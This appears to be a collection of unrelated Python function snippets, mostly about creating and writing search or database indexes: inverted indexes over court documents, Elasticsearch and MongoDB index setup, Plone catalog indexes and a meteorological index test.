dtype=np.float32)\n\t\t\t\t\t\t#\tcontinue\n\n\n\t\t\t\t\t\t# Take averaging into consideration\n\t\t\t\t\t\t# For almost all of these averagings, we'll have to\n\t\t\t\t\t\t# build a vector of all values for all times at that\n\t\t\t\t\t\t# cell. Unfortunately, the data is organized in the \n\t\t\t\t\t\t# opposite way as we want (time is the top index..)\n\t\t\t\t\t\tif do_averaging:\n\t\t\t\t\t\t\tvecs={}\n\t\t\t\t\t\t\tfor d in rdays:\n\t\t\t\t\t\t\t\tvecs[d] = datas[d][:Forcing.dayLen,k,j,i]\n\n\t\t\t\t\t\t\t# REMOVE!\n\t\t\t\t\t\t\t#if i==self.debug_i and j==self.debug_j:\n\t\t\t\t\t\t\t#\tprint \"vec_today[%d,%d]: \"%(self.debug_j, self.debug_i), vec_today\n\n\t\t\t\t\t\t\t# Prepares a vector of values with respect to the\n\t\t\t\t\t\t\t# direction we're going to calculate the average\n\t\t\t\t\t\t\t# (forward/backward), the window size, and time\n\t\t\t\t\t\t\t# zone \n\n\t\t\t\t\t\t\tvec = Forcing.prepareTimeVectorForAvg(vecs, timezone=tz[j][i], winLen=averaging_window, debug=False)\n\t\t\t\t\t\t\t#print \"i=%d,j=%d, preped vec[%d] = %s\"%(i,j,len(vec),\" \".join(map(str, vec)))\n\n\t\t\t\t\t\t\t# Calculate the moving window average\n\t\t\t\t\t\t\tavgs = Forcing.calcMovingAverage(vec, winLen=averaging_window)\n\t\t\t\t\t\t\t#print \"i=%d,j=%d, avg vec[%d] = %s\"%(i,j,len(avgs),\" \".join(map(str, avgs)))\n\n\t\t\t\t\t\t\t# And then, for the 8-hour max to be used for a\n\t\t\t\t\t\t\t# forcing term, generate a vector for yesterday,\n\t\t\t\t\t\t\t# today and tomorrow with the forcing terms in them\n\n\t\t\t\t\t\t\tif self.timeInvariantScalarMultiplcativeFld is not None:\n\t\t\t\t\t\t\t\tscalar = self.timeInvariantScalarMultiplcativeFld[j][i]/averaging_window\n\n\t\t\t\t\t\t\tvecs = Forcing.applyForceToAvgTime(avgs, days=vecs.keys(), winLen=averaging_window, timezone=tz[j][i], min_threshold=self.threshold, forcingValue=scalar)\n\n# This was done blindly\n\t\t\t\t\t\t\tfor d in rdays:\n\t\t\t\t\t\t\t\tflds[d][idx_s][:24,k,j,i] = vecs[d]\n\n\t\t\t\t\t\telif self.averaging == 'AVG_MASK' or self.averaging == 'AVG_NONE':\n# NOT YET TESTED\n\t\t\t\t\t\t\traise NotImplementedError( \"Mask timing or no averaging is not yet tested. Averaging options=%s\"%self.averaging )\n\t\t\t\t\t\t\t# The comments assume timezone = -6\n\t\t\t\t\t\t\tfor t_gmt in self.timeMask:\n\t\t\t\t\t\t\t\t# when t_gmt = 0, t_loc = -6, so we're into yesterday\n\t\t\t\t\t\t\t\tt_loc = t_gmt + tz[j][i]\n\n\t\t\t\t\t\t\t\t# Reference the arrays\n\t\t\t\t\t\t\t\tif t_loc < 0:\n\t\t\t\t\t\t\t\t\tdfld = data_yest\n\t\t\t\t\t\t\t\t\t#ffld = fld_yest\n\t\t\t\t\t\t\t\telif t_loc>0 and t_loc<Forcing.dayLen:\n\t\t\t\t\t\t\t\t\tdfld = data_today\n\t\t\t\t\t\t\t\t\t#ffld = fld_today\n\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\tdfld = data_tomorrow\n\t\t\t\t\t\t\t\t\t#ffld = fld_tomorrow\n\n\t\t\t\t\t\t\t\t# I have to write in GMT\n# This is wrong, as local times can write into another day.. maybe.. but since there's no averaging, another iteration will take care of that..\n\t\t\t\t\t\t\t\tffld = fld_today\n\n\t\t\t\t\t\t\t\t# fld[-6] is fld[18]\n\t\t\t\t\t\t\t\tval=dfld[t_loc,k,j,i]\n\t\t\t\t\t\t\t\tif threshold is not None:\n\t\t\t\t\t\t\t\t\tif val > threshold:\n\t\t\t\t\t\t\t\t\t\tforce = 1\n\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\tif val > 0.0:\n\t\t\t\t\t\t\t\t\t\tforce = 1\n\n\t\t\t\t\t\t\t\t# Set the field in the referenced forcing field\n\t\t\t\t\t\t\t\tffld[t_loc,k,j,i] = force\n\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\traise NotImplementedError( \"Unavailable time averaging method (%s) selected\"%self.averaging )\n\n\t\t\t\t\t\t#endif averaging\n\t\t\t\t\t#endfor j\n\t\t\t\t#endfor i\n\t\t\t#endfor k\n\n\t\t#endfor species\n\n\t\treturn flds","def build_index(in_dir, out_dict, out_postings):\n print('indexing...')\n\n maxInt = sys.maxsize\n\n while True:\n # decrease the maxInt value by factor 10 \n # as long as the OverflowError occurs.\n try:\n csv.field_size_limit(maxInt)\n break\n except OverflowError:\n maxInt = int(maxInt/10)\n\n #Dicitionary for saving the normalized weights for document vector\n lengths = dict()\n\n #Number of docs read from csv\n total_docs = 1\n max_docs = 1000\n\n #Data stored in csv read file line by line and save columns data\n with open(os.path.join(in_dir), 'r', encoding=\"utf8\") as data_csv:\n reader = csv.DictReader(data_csv)\n #each line corresponds to a document\n for doc in reader:\n\n #if(total_docs > max_docs):\n # break\n\n #If line is blank, just skip\n if doc is None:\n continue\n \n #save the different columns of the doc\n doc_id = int(doc[\"document_id\"])\n #Remove punctuation in title and content\n doc_title = re.sub(r\"[,;@#?!&$()%\\[\\]°~^_.+=\\\"><`|}{*':/]+ *\", \" \", doc[\"title\"])\n doc_content = re.sub(r\"[,;@#?!&$()%\\[\\]°~^_.+=\\\"><`|}{*':/]+ *\", \" \", doc[\"content\"])\n doc_date = doc[\"date_posted\"]\n doc_year = doc_date[0:4]\n doc_court = doc[\"court\"]\n\n #The dictionaryies are updated, postings lists are updated or new terms added\n update_terms_zones_dictionary(doc_id, doc_title, \".title\")\n update_terms_zones_dictionary(doc_id, doc_content, \".content\")\n update_date_field_dictionary(doc_id, doc_year)\n update_court_field_dictionary(doc_id, doc_court)\n\n total_docs += 1\n\n data_csv.close()\n\n #This section stores the Log TF using the word counts in the postings in the dictionary\n #It saves the Log TF in an auxiliary dictionary named lengths\n for word in dictionary:\n #Get postings list for the word\n postings_list = dictionary[word]\n\n for docID_termF in postings_list:\n #Get the vector for the doc, where the docId is docID_termF[0]\n #If there is no vector for this doc, then create a new dict\n #I am using dictionaries as the vector for the word only for the calculations\n doc_vector = lengths.get(docID_termF[0], dict())\n #I add the logarithmic term frequency to that document vector\n doc_vector[word] = 1 + math.log(docID_termF[1], 10)\n #Save that to its corresponding doc\n lengths[docID_termF[0]] = doc_vector\n\n #This section normalizes the Log TFs \n for doc_vector in lengths.values():\n #We store each of the values in a list and then use:\n #np.linalg.norm to do the normalization = sqrt(sum(values^2))\n weights = doc_vector.values()\n #We get the vectors magnitude\n magnitude = np.linalg.norm(np.array(list(weights)))\n for word in doc_vector.keys():\n #For every word entry in the vector \n #normalize by dividing the weight by the magnitude\n doc_vector[word] = doc_vector[word] / magnitude\n\n #This section replaces the word count in the tuple of the dictionary with the Normalized Log TF\n #It also sorts the postings list by doc ID\n for word in dictionary:\n #Get postings list for the word\n postings_list = dictionary[word]\n new_postings_list = list()\n for docID_termF in postings_list:\n docID_termF = ( docID_termF[0], lengths[docID_termF[0]][word] )\n new_postings_list.append(docID_termF)\n new_postings_list.sort()\n dictionary[word] = new_postings_list\n\n ''' \n with open('ugly_dictionary.txt', 'w') as fp:\n json.dump(dictionary, fp)\n '''\n #Determine the relevance of each doc by the court that it has in its court field\n #Save the relevant docs and their relevance\n relevant_courts_dict = { \"SG Court of Appeal\":2, \"SG Privy Council\":2, \"UK House of Lords\":2, \"UK Supreme Court\":2,\n \"High Court of Australia\":2, \"CA Supreme Court\":2, \"SG High Court\":1.5, \"Singapore International Commercial Court\":1.5,\n \"HK High Court\": 1.5, \"HK Court of First Instance\": 1.5, \"UK Crown Court\": 1.5, \"UK Court of Appeal\": 1.5, \"UK High Court\": 1.5, \n \"Federal Court of Australia\": 1.5, \"NSW Court of Appeal\": 1.5, \"NSW Court of Criminal Appeal\": 1.5, \"NSW Supreme Court\": 1.5}\n\n relevant_docs = dict()\n \n for court_name in relevant_courts_dict:\n court_postings_list = court_dictionary.get(court_name, -1)\n if(court_postings_list != -1):\n for docid in court_postings_list:\n #save a dictionary of docID and its relevance (2 or 1.5) according to its court\n relevant_docs[docid] = relevant_courts_dict[court_name]\n\n #This section traverse each word (key) in the dictionary, get its postings list and save it in a different file \n postings_list_file = open(out_postings, \"wb\") \n for word in dictionary:\n #Get postings list for the word\n postings_list = dictionary[word]\n #Get the document frequency\n document_frequency = len(postings_list)\n #Know the starting position for the pointer\n postings_list_position = postings_list_file.tell()\n # Writing to file \n pickle.dump(postings_list, postings_list_file)\n #Replace postings list with reference to the position\n dictionary[word] = (document_frequency, postings_list_position)\n for date in date_dictionary:\n #Get postings list for the date\n postings_list = date_dictionary[date]\n #Get the document frequency\n document_frequency = len(postings_list)\n #Know the starting position for the pointer\n postings_list_position = postings_list_file.tell()\n # Writing to file \n pickle.dump(postings_list, postings_list_file)\n #Replace postings list with reference to the position\n date_dictionary[date] = (document_frequency, postings_list_position)\n for court in court_dictionary:\n #Get postings list for the date\n postings_list = court_dictionary[court]\n #Get the document frequency\n document_frequency = len(postings_list)\n #Know the starting position for the pointer\n postings_list_position = postings_list_file.tell()\n # Writing to file \n pickle.dump(postings_list, postings_list_file)\n #Replace postings list with reference to the position\n court_dictionary[court] = (document_frequency, postings_list_position)\n #Close the postings lists file\n postings_list_file.close() \n\n #Now open the dictionary file and save the three dictionaries\n with open(out_dict, 'wb') as dictionary_file:\n pickle.dump(total_docs, dictionary_file, protocol=pickle.HIGHEST_PROTOCOL)\n pickle.dump(dictionary, dictionary_file, protocol=pickle.HIGHEST_PROTOCOL)\n pickle.dump(date_dictionary, dictionary_file, protocol=pickle.HIGHEST_PROTOCOL)\n pickle.dump(court_dictionary, dictionary_file, protocol=pickle.HIGHEST_PROTOCOL)\n pickle.dump(relevant_docs, dictionary_file, protocol=pickle.HIGHEST_PROTOCOL)\n \n '''\n The structure we have is:\n\n dictionary.txt: Has three dictionaries\n {word.zone : [doc_freq, pointer], word.zone: [doc_freq, pointer], ...}\n {date : [doc_freq, pointer], date: [doc_freq, pointer], ...}\n {court : [doc_freq, pointer], court: [doc_freq, pointer], ...}\n\n postings.txt: Has the postings for the three dictionaries\n For the dictionary postings:\n [[docID,termFrequency],[docID,termFrequency]]\n [[docID,termFrequency]] ...\n For the date_dictionary postings:\n [docId, docId, docId, docId]\n For the court_dictionary postings:\n [docId, docId, docId, docId]\n ...\n\n Both documents together would be:\n { word.zone: [doc_freq, [[docID,termFrequency], ... ]], \n word.zone: [doc_freq, [[docID,termFrequency].}, ...]] }\n { date: [doc_freq, [docID, docID, ... ]], date: [doc_freq, [docID, docID, ... ]] }\n { court: [doc_freq, [docID, docID, ... ]], date: [doc_freq, [docID, docID, ... ]] }\n\n lengths.txt\n [document: [word: weight, word: weight, ...], document: [word: weight, word: weight, ...]]\n Decided to make it like this to keep control of which weights correspond to which words\n Although for a document I will traverse all the weights to get the score\n If the word is not in the document vector [which in my case is a dictionary], then its weight is 0\n This way I am no using a sparse matrix\n\n '''","def write_index(self, file_name):\n self.df_index.to_csv(file_name, sep='\\t')","def idx_createFieldIndex(plominoIndex, fieldname, fieldtype='TEXT', **args):\n \n if not hasattr(plominoIndex, 'createFieldIndex'):\n plominoIndex = plominoIndex.getParentDatabase().getIndex()\n \n if not fieldname in plominoIndex.indexes():\n plominoIndex.createFieldIndex(fieldname, fieldtype, **args)","def compute_index(self, filename, tri):\n self.index = {'name': filename, \"bi\": {}}\n if tri:\n self.index[\"tri\"] = {}\n fichero = open(filename, 'r').read()\n fichero = fichero.replace(\";\",\".\")\n fichero = fichero.replace(\"\\n\\n\",\".\")\n fichero = fichero.replace(\",\",\".\")\n fichero = fichero.replace(\"?\",\".\")\n fichero = fichero.replace(\"!\",\".\")\n fichero = fichero.lower()\n\n for frase in fichero.split('.'):\n frase = self.r2.sub(\" \", frase)\n frase = \"$ \" + frase + \" $\"\n Monkey.index_sentence(self, frase, tri)\n\n #sort_index(self, self.index['bi'])\n if tri:\n sort_index(self, self.index['tri'])\n\n extension = filename.find('.')\n aux = filename[:extension] \n new_filename = aux + 'index'\n\n with open(new_filename, 'w') as fh:\n #print(self.index['bi'].items())\n for nombre, valor in self.index['bi'].items():\n fh.write(\"%s %s\\n\" %(nombre, valor))","def _make_index(self, fname, sents, words):\n for w in words:\n # word index for this file only\n findex = []\n\n for ixS, s in enumerate(sents):\n # iterate over each word in the sentencep\n for ixT, token in enumerate(s):\n # could use regex for substring matching instead\n if w == token.lower():\n findex.append((ixS, ixT))\n # keep track of word use frequency\n self._freq[w] += 1\n\n # grow the main index \n self._index[w][fname]= findex","def postCalculate(self, node, result):\n if node.nodeClass == \"index\":\n if isinstance(result, pd.Index) and result.name is None:\n result.name = node.identifier","def test_geo_index():\n\tlib.backup_and_restore(\n\t\tlambda context: create_indexes(lib.create_geo_index),\n\t\tNone,\n\t\tlambda context: check_indexes(lib.check_geo_index, (0.0, 0.0))\n\t)","def index(self, index_element):\n idx = Indexer.Index(index_element.corpus_path, index_element.posting_path, self.cities_from_api,\n index_element.stop_words)\n idx.create_index(index_element.stem, index_element.id, index_element.block_size)","def _write_index(self):\n # Make sure to only write non-default objects to the index.\n self.store.write_object(\n object=[obj.to_dict() for ns in self.index.values() for obj in ns.values() if not obj.is_default],\n object_id=self.identifier\n )","def reindex(self):","def reindex(self):","def db_index_name(self):\r\n return 'index_{}'.format(self.db_field_name)","def add_catalog_indexes(context, logger):\n if logger is None:\n logger = logging.getLogger('bungenicms.membershipdirectory')\n \n # Run the catalog.xml step as that may have defined new metadata columns. \n # We could instead add <depends name=\"catalog\"/> to the registration of our \n # import step in zcml, but doing it in code makes this method usable as \n # upgrade step as well. Note that this silently does nothing when there is \n # no catalog.xml, so it is quite safe.\n setup = getToolByName(context, 'portal_setup')\n setup.runImportStepFromProfile(PROFILE_ID, 'catalog')\n \n catalog = getToolByName(context, 'portal_catalog')\n indexes = catalog.indexes()\n \n # Specify the indexes you want, with ('index_name', 'index_type')\n wanted = (('county', 'FieldIndex'),\n ('constituency', 'FieldIndex'),\n ('priority_number', 'FieldIndex'), \n ('political_party', 'FieldIndex'),\n ('elected_nominated', 'FieldIndex'),\n ('member_status', 'FieldIndex'),\n ('special_interest', 'FieldIndex'),\n ('other_names', 'FieldIndex'),\n ('member_role', 'FieldIndex'),\n ('member_title', 'FieldIndex'),\n ('body_text', 'FieldIndex'),\n ('member_full_names', 'ZCTextIndex'),\n )\n\n indexables = []\n for (name, meta_type) in wanted:\n if meta_type and name not in indexes:\n if meta_type == 'ZCTextIndex':\n item_extras = Empty()\n item_extras.doc_attr = name\n item_extras.index_type = 'Okapi BM25 Rank'\n item_extras.lexicon_id = 'plone_lexicon'\n catalog.addIndex(name, meta_type, item_extras)\n else:\n catalog.addIndex(name, meta_type)\n \n indexables.append(name)\n logger.info('Added %s for field %s.', meta_type, name)\n if len(indexables) > 0:\n logger.info('Indexing new indexes %s.', ', '.join(indexables))\n catalog.manage_reindexIndex(ids=indexables)","def _generate_index_report(self, index, query_analysis):\r\n\r\n all_fields = []\r\n equiv_fields = []\r\n sort_fields = []\r\n range_fields = []\r\n\r\n for query_field in query_analysis['analyzedFields']:\r\n all_fields.append(query_field['fieldName'])\r\n if query_field['fieldType'] is EQUIV_TYPE:\r\n equiv_fields.append(query_field['fieldName'])\r\n elif query_field['fieldType'] is SORT_TYPE:\r\n sort_fields.append(query_field['fieldName'])\r\n elif query_field['fieldType'] is RANGE_TYPE:\r\n range_fields.append(query_field['fieldName'])\r\n\r\n max_equiv_seq = len(equiv_fields)\r\n max_sort_seq = max_equiv_seq + len(sort_fields)\r\n max_range_seq = max_sort_seq + len(range_fields)\r\n\r\n coverage = 'none'\r\n query_fields_covered = 0\r\n query_field_count = query_analysis['fieldCount']\r\n supported = True\r\n ideal_order = True\r\n for index_field in index['key']:\r\n field_name = index_field[0]\r\n\r\n if index_field[1] == '2d':\r\n supported = False\r\n break\r\n\r\n if field_name not in all_fields:\r\n break\r\n\r\n if query_fields_covered == 0:\r\n coverage = 'partial'\r\n\r\n if query_fields_covered < max_equiv_seq:\r\n if field_name not in equiv_fields:\r\n ideal_order = False\r\n elif query_fields_covered < max_sort_seq:\r\n if field_name not in sort_fields:\r\n ideal_order = False\r\n elif query_fields_covered < max_range_seq:\r\n if field_name not in range_fields:\r\n ideal_order = False\r\n query_fields_covered += 1\r\n if query_fields_covered == query_field_count:\r\n coverage = 'full'\r\n\r\n # INDEX REPORT\r\n return OrderedDict({\r\n 'coverage': coverage,\r\n 'idealOrder': ideal_order,\r\n 'queryFieldsCovered': query_fields_covered,\r\n 'index': index,\r\n 'supported': supported\r\n })","def create_index(self, table_name, index, timeout):\n _abstract()","def create_index(self, table_name, index, timeout):\n _abstract()","def _generate_index_report(self, index, query_analysis):\n\n all_fields = []\n equiv_fields = []\n sort_fields = []\n range_fields = []\n\n for query_field in query_analysis['analyzedFields']:\n all_fields.append(query_field['fieldName'])\n if query_field['fieldType'] is EQUIV_TYPE:\n equiv_fields.append(query_field['fieldName'])\n elif query_field['fieldType'] is SORT_TYPE:\n sort_fields.append(query_field['fieldName'])\n elif query_field['fieldType'] is RANGE_TYPE:\n range_fields.append(query_field['fieldName'])\n\n max_equiv_seq = len(equiv_fields)\n max_sort_seq = max_equiv_seq + len(sort_fields)\n max_range_seq = max_sort_seq + len(range_fields)\n\n coverage = 'none'\n query_fields_covered = 0\n query_field_count = query_analysis['fieldCount']\n supported = True\n ideal_order = True\n for index_field in index['key']:\n field_name = index_field[0]\n\n if index_field[1] == '2d':\n supported = False\n break\n\n if field_name not in all_fields:\n break\n\n if query_fields_covered == 0:\n coverage = 'partial'\n\n if query_fields_covered < max_equiv_seq:\n if field_name not in equiv_fields:\n ideal_order = False\n elif query_fields_covered < max_sort_seq:\n if field_name not in sort_fields:\n ideal_order = False\n elif query_fields_covered < max_range_seq:\n if field_name not in range_fields:\n ideal_order = False\n query_fields_covered += 1\n if query_fields_covered == query_field_count:\n coverage = 'full'\n\n # INDEX REPORT\n return OrderedDict({\n 'coverage': coverage,\n 'idealOrder': ideal_order,\n 'queryFieldsCovered': query_fields_covered,\n 'index': index,\n 'supported': supported\n })","def createIndex(self):\n\n super(COCO_PLUS, self).createIndex()\n catNameToId = dict()\n pointclouds = dict()\n imgToPc = dict()\n\n if 'pointclouds' in self.dataset:\n for pc in self.dataset['pointclouds']:\n imgToPc[pc['img_id']] = pc\n pointclouds[pc['id']] = pc\n\n if 'categories' in self.dataset:\n for cat in self.dataset['categories']:\n catNameToId[cat['name']] = cat['id']\n\n self.catNameToId = catNameToId\n self.pointclouds = pointclouds\n self.imgToPc = imgToPc\n self.logger.info('index created.')","def add_taxonomy(tax_idx, pkl):\n for tax,v in tax_idx.items():\n for genome_id,genome_len in v.items():\n T = '|'.join(list(tax) + ['t__' + genome_id])\n pkl['taxonomy'][T] = ('', int(genome_len))\n return pkl","def create_index():\n try:\n client = MongoClient(MONGO_URI,event_listeners=[CommandLogger()])\n db = client.get_database('UNSD')\n \n coll_unfcc = db.get_collection('unfcc')\n coll_ebal = db.get_collection('ebal')\n result_unfcc = coll_unfcc.create_index([('REF_AREA',ASCENDING),('TIME_PERIOD',DESCENDING)])\n result_ebal = coll_ebal.create_index([('REF_AREA',ASCENDING),('TIME_PERIOD',DESCENDING)])\n except pymongo.errors.ConnectionFailure as e:\n logger.error('PyMongo error ConnectionFailure seen: ' + str(e))\n traceback.print_exc(file = sys.stdout)","def save_index(self, fn):\n utils.save_obj(self.tweetTerms, \"TweetTerm_%s\" % (self.counterOfTweetTermsFiles))\n self.computeTfIdf(self.counterOfTweets)\n self.deleteSingleEntities()\n inv_dict = {'inverted_idx': self.inverted_idx, 'posting': self.postingFiles}\n utils.save_obj(inv_dict, fn)","def write_index(self):\n self.Lock = True\n self.file_out.seek(self.index_offset)\n for identifier, offset in self.index.items():\n self._write_identifier(identifier)\n self._write_offset(offset)","def make_filtered_field(ds, fieldname, filter_fields = [], tolerance = tol):\n def _filtered_field(field, data):\n x = data[('gas',fieldname)]\n\n select = data[filter_fields[0]] < 0\n for f in filter_fields:\n select = select + (data[f] < tolerance)\n x[select] = np.nan\n\n return x\n\n ds.add_field(('gas',fieldname + '_filtered'), function = _filtered_field, units = \"\")\n return","def create_index(self):\r\n\r\n #### Begin functionality here\r\n\r\n return()","def add(self, name, index = None):\n if index is None:\n while self.indexDict.has_key(self.count):\n self.count += 1\n index = self.count\n self.fieldDict[name] = index\n self.indexDict[index] = name","def create_index(self, db_name):\n\t\tindex_func_path = self._get_index_func_filepath(db_name)\n\t\t\n\t\tif os.path.isfile(index_func_path):\n\t\t\t# create index request payload from predefined file\t\n\t\t\twith open(index_func_path, 'r') as content_file:\n\t\t\t\tpayload = content_file.read()\n\t\t\n\t\t\tprint (\"Create index using function in: {}\".format(index_func_path))\n\t\t\turl = \"https://{}/{}/_design/view\".format(\n\t\t\t\tself.cloudanthost, db_name)\n\t\t\tresponse = self.r.put(url, data=payload)\n\t\t\tassert response.status_code == 201","def index(self, index):\n index.column_protein[self.column].add((self.protein,self.protein_res))\n index.protein_domain[(self.protein.id,self.protein_res)] = (self.domain,self.domain_res)\n index.domain_structure[(self.domain.id,self.domain_res)].add((self.structure,self.structure_res))\n index.structure[(self.structure.index, self.structure_res)] = self","def test_total_totals_index():\n pressure = np.array([1008., 1000., 947., 925., 921., 896., 891., 889., 866.,\n 858., 850., 835., 820., 803., 733., 730., 700., 645.,\n 579., 500., 494., 466., 455., 441., 433., 410., 409.,\n 402., 400., 390., 388., 384., 381., 349., 330., 320.,\n 306., 300., 278., 273., 250., 243., 208., 200., 196.,\n 190., 179., 159., 151., 150., 139.]) * units.hPa\n temperature = np.array([27.4, 26.4, 22.9, 21.4, 21.2, 20.7, 20.6, 21.2, 19.4,\n 19.1, 18.8, 17.8, 17.4, 16.3, 11.4, 11.2, 10.2, 6.1,\n 0.6, -4.9, -5.5, -8.5, -9.9, -11.7, -12.3, -13.7, -13.8,\n -14.9, -14.9, -16.1, -16.1, -16.9, -17.3, -21.7, -24.5, -26.1,\n -28.3, -29.5, -33.1, -34.2, -39.3, -41., -50.2, -52.5, -53.5,\n -55.2, -58.6, -65.2, -68.1, -68.5, -72.5]) * units.degC\n dewpoint = np.array([24.9, 24.6, 22., 20.9, 20.7, 14.8, 13.6, 12.2, 16.8,\n 16.6, 16.5, 15.9, 13.6, 13.2, 11.3, 11.2, 8.6, 4.5,\n -0.8, -8.1, -9.5, -12.7, -12.7, -12.8, -13.1, -24.7, -24.4,\n -21.9, -24.9, -36.1, -31.1, -26.9, -27.4, -33., -36.5, -47.1,\n -31.4, -33.5, -40.1, -40.8, -44.1, -45.6, -54., -56.1, -56.9,\n -58.6, -61.9, -68.4, -71.2, -71.6, -77.2]) * units.degC\n\n tt = total_totals_index(pressure, temperature, dewpoint)\n assert_almost_equal(tt, 45.10 * units.delta_degC, 2)","def calculate(index):\n postingl1 = [len(x[0]) for x in index[0].values()]\n print(\"Number of terms in index i1 : \" + str(len(postingl1)) + \"\\t\")\n print(\"Maximum Length of Postings List : \" + str(max(postingl1)) + \"\\t\")\n print(\"Minimum Length of Postings List : \" + str(min(postingl1)) + \"\\t\")\n print(\"Average Length of Postings List : \" + str(sum(postingl1) / float(len(postingl1))) + \"\\t\")\n print(\"Size of the file that stores the index i1 : \" + \\\n str(os.stat('invertedindex1.txt').st_size) + \" bytes\\n\")\n\n postingl2 = [len(x[0]) for x in index[1].values()]\n print(\"Number of terms in index i2 : \" + str(len(postingl2)) + \"\\t\")\n print(\"Maximum Length of Postings List : \" + str(max(postingl2)) + \"\\t\")\n print(\"Minimum Length of Postings List : \" + str(min(postingl2)) + \"\\t\")\n print(\"Average Length of Postings List : \" + str(sum(postingl2) / float(len(postingl2))) + \"\\t\")\n print(\"Size of the file that stores the index i2 : \" + \\\n str(os.stat('invertedindex2.txt').st_size) + \" bytes\\n\")\n\n postingl3 = [len(x[0]) for x in index[2].values()]\n print(\"Number of terms in index i3 : \" + str(len(postingl3)) + \"\\t\")\n print(\"Maximum Length of Postings List : \" + str(max(postingl3)) + \"\\t\")\n print(\"Minimum Length of Postings List : \" + str(min(postingl3)) + \"\\t\")\n print(\"Average Length of Postings List : \" + str(sum(postingl3) / float(len(postingl3))) + \"\\t\")\n print(\"Size of the file that stores the index i3 : \" + \\\n str(os.stat('invertedindex3.txt').st_size) + \" bytes\\n\")\n\n postingl4 = [len(x[0]) for x in index[3].values()]\n print(\"Number of terms in index i4 : \" + str(len(postingl4)) + \"\\t\")\n print(\"Maximum Length of Postings List : \" + str(max(postingl4)) + \"\\t\")\n print(\"Minimum Length of Postings List : \" + str(min(postingl4)) + \"\\t\")\n print(\"Average Length of Postings List : \" + str(sum(postingl4) / float(len(postingl4))) + \"\\t\")\n print(\"Size of the file that stores the index i4 : \" + \\\n str(os.stat('invertedindex4.txt').st_size) + \" bytes\\n\")","def test_creating_index_type(self):","def index_object(idxs=None):","def create_index():\n es = Elasticsearch()\n es.indices.delete(index='drugaid-index')\n with open('../data_crawling/demo_drug_data-fixed.json') as f:\n drug_data = json.load(f)\n\n for drug in drug_data:\n es.index(index='drugaid-index', doc_type='drug', body=drug)","def __init__(self, csvfile, url, index, doc_type, username, password, chunk_size=100):\n\n self.csv_file = csvfile\n self.es_url = url\n self.es_main_index = index\n self.es_main_type = doc_type\n self.es = Elasticsearch(self.es_url,\n http_auth=(username, password),\n use_ssl=True,\n verify_certs=True,\n connection_class=RequestsHttpConnection)\n self.chunk_size = chunk_size\n\n self.mapping = {\n \"properties\": {\n \"region\": {\n \"type\": \"string\",\n \"index\": \"not_analyzed\",\n \"doc_values\": True,\n \"fielddata\": {\n \"loading\": \"eager_global_ordinals\"\n }\n },\n \"agg_commodity\": {\n \"type\": \"string\",\n \"index\": \"not_analyzed\",\n \"doc_values\": True,\n \"fielddata\": {\n \"loading\": \"eager_global_ordinals\"\n }\n },\n \"agg_continent\": {\n \"type\": \"string\",\n \"index\": \"not_analyzed\",\n \"doc_values\": True,\n \"fielddata\": {\n \"loading\": \"eager_global_ordinals\"\n }\n },\n \"agg_subcontinent\": {\n \"type\": \"string\",\n \"index\": \"not_analyzed\",\n \"doc_values\": True,\n \"fielddata\": {\n \"loading\": \"eager_global_ordinals\"\n }\n },\n \"impactparameter\": {\n \"type\": \"string\",\n \"index\": \"not_analyzed\",\n \"doc_values\": True,\n \"fielddata\": {\n \"loading\": \"eager_global_ordinals\"\n }\n },\n \"commodity\": {\n \"type\": \"string\",\n \"index\": \"not_analyzed\",\n \"doc_values\": True,\n \"fielddata\": {\n \"loading\": \"eager_global_ordinals\"\n }\n },\n \"year\": {\n \"type\": \"integer\"\n },\n \"Val\": {\n \"type\": \"float\"\n }\n }\n }","def create_index(es_object, index_name):\n created = False\n # index settings\n # the reason why we need mappings is avoid corrupting your data\n settings = {\n \"settings\": {\n \"number_of_shards\": 1,\n \"number_of_replicas\": 0\n },\n \"mappings\": {\n # custom type called foods\n \"foods\": {\n \"properties\": {\n # Specify that the food_name field contains text values.\n \"food_name\": {\n \"type\": \"text\",\n \"fields\": {\n \"raw\":{ \n \"type\": \"keyword\"\n } # The food_name.raw field can be used for sorting and aggregations\n }\n },\n # Specify that the categories field contains text values.\n \"categories\": {\n \"type\": \"text\",\n \"fields\": {\n \"raw\":{ \n \"type\": \"keyword\"\n } # The categories.raw field can be used for sorting and aggregations\n }\n },\n # Specify that the calories field contains integer values.\n \"calories\": {\n \"type\": \"integer\"\n },\n \"protein\": {\n \"type\": \"integer\"\n },\n \"carbs\": {\n \"type\": \"integer\"\n },\n \"fat\": {\n \"type\": \"integer\"\n }\n \n },\n }\n }\n }\n try:\n if not es_object.indices.exists(index_name):\n # Ignore 400 means to ignore \"Index Already Exist\" error.\n es_object.indices.create(index=index_name, ignore=400, body=settings)\n print('Created Index')\n created = True\n except Exception as ex:\n print(str(ex))\n finally:\n return created","def build_index(self):\n self.rebuild_index()","def to_index(self, index_type, index_name, includes=None):\n return IndexField(self.name, self.data_type, index_type, index_name,\n includes)","def create_index(cls, engine):\n\n reg_imei = db.Index('reg_imei_index', cls.imei, postgresql_concurrently=True)\n reg_imei.create(bind=engine)\n\n reg_normalized_imei = db.Index('reg_normalized_imei_index', cls.normalized_imei, postgresql_concurrently=True)\n reg_normalized_imei.create(bind=engine)","def create_index(self, dictfile):\n\n self.dictionary_file = dictfile\n self.index_file = os.path.join(dictfile.split(\".\")[0] + \".index\")\n\n self.fp = codecs.open(self.dictionary_file, \"r\", encoding=\"utf-8\")\n self.op = codecs.open(self.index_file, \"w\", encoding=\"utf-8\")\n\n # loop untill entire file is not finished\n while True:\n item = self.fp.readline()\n if not item:\n break\n\n # if the alphabet is currently not indexed then index it\n # with current value of byte offset else increase the offset\n # by the byte length of currently read word till you get\n # new alphaet which is not indexed\n\n if len(item) > 0 and not item[0] in self.dictionary.keys():\n self.dictionary[item[0]] = self.offset\n self.offset = self.offset + len(item.encode(\"utf-8\"))\n\n #print \"Index for \" + self.dictionary_file + \" is created \"\n\n for index in self.dictionary:\n value = self.dictionary.get(index, None)\n if not value:\n self.op.write(index + \"=%d\\n\" % value)\n\n # Clean up\n self.fp.close()\n self.op.close()","def _compute_tax_id(self):\n for inv in self:\n for line in inv.invoice_line_ids:\n line.tax_ids = line._get_computed_taxes()\n\n inv._recompute_dynamic_lines(recompute_all_taxes=True, recompute_tax_base_amount=True)","def index_json_file(json_file, output_file, field=DEFAULT_JSON_FIELD,\n min_chunk_size=_MIN_CHUNK_SIZE):\n 